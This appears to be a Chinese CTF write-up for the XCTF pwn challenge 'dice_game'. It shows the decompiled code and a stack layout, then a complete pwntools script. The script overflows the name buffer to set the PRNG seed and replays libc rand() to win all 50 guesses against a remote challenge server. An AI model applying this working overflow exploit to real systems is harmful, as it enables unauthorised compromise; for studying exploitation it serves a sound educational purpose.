

原创

饭饭啊饭饭 已于 2022-03-10 10:54:05 修改 918 收藏

分类专栏: [做题记录](#) 文章标签: [xctf pwn](#)

于 2019-09-23 20:26:24 首次发布

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/zyh18851473527/article/details/101222668>

版权



[做题记录](#) 专栏收录该内容

14 篇文章 0 订阅

订阅专栏

dice_game

首先将其拖进IDA64中查看一下

```
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]
```

seed跟buf偏移0x40

```
memset(buf, 0, 0x30uLL);
*(__QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);
if ( v6 <= 49 )
    buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
    printf("Game %d/50\n", v8);
    v5 = sub_A20();
    fflush(stdout);
    if ( v5 != 1 )
        break;
    if ( v8 == 50 )
    {
        sub_B28((__int64)buf);
        break;
    }
    ++v8;
}
puts("Bye bye!");
return 0LL;
```

读取seed[0] (unsigned int 32位), 所以多覆盖4字节

```

fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
    printf("Game %d/50\n", v8);
    v5 = sub_A20();
    fflush(stdout);
    if ( v5 != 1 )
        break;
    if ( v8 == 50 )
    {
        Flag((__int64)buf);
        break;
    }
    ++v8;
}

```

v8记录了游戏次数
 猜数字游戏
 成功50次即可得到flag

<https://blog.csdn.net/zyh18851473527>

根据

代码可以得知猜对50次的数字后就可以get flag了

```

memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);

```

但是实际上只给buf分配了0x30的

空间

buf 长度最长为 0x50 但是当输入大于 49 的时候不会被截断，所以我们只要覆盖到之前的 seed 就可以为所欲为了。

同时注意到 seed 跟 buf 相差的偏移是 0x40，所以只要 68 个字符就可以溢出覆盖 seed 了。我们写入0x40的数据就可以覆盖到seed了

```
-----
-000000000000000050 buf          db 55 dup(?)
-000000000000000019 var_19       db ?
-000000000000000018 var_18       dq ?
-000000000000000010 seed         dd 2 dup(?)
-000000000000000008             db ? ; undefined
-000000000000000007             db ? ; undefined
-000000000000000006             db ? ; undefined
-000000000000000005             db ? ; undefined
-000000000000000004 var_4       dd ?
+000000000000000000 s           db 8 dup(?)
+000000000000000008 r           db 8 dup(?)
+000000000000000010
https://blog.csdn.net/zyh18851473527
```

```
from pwn import *
from ctypes import *
context.log_level = "debug"

p=remote("111.198.29.45",59396)
libc = cdll.LoadLibrary("libc.so.6")

payload = "a" * 0x40 + p64(1)
p.recvuntil("your name: ")
p.sendline(payload)

libc.srand(1)
for i in range(50):
    num = str(libc.rand()%6+1)
    p.recvuntil("point(1~6): ")
    p.sendline(str(num))

p.interactive()
https://blog.csdn.net/zyh18851473527
```

warmup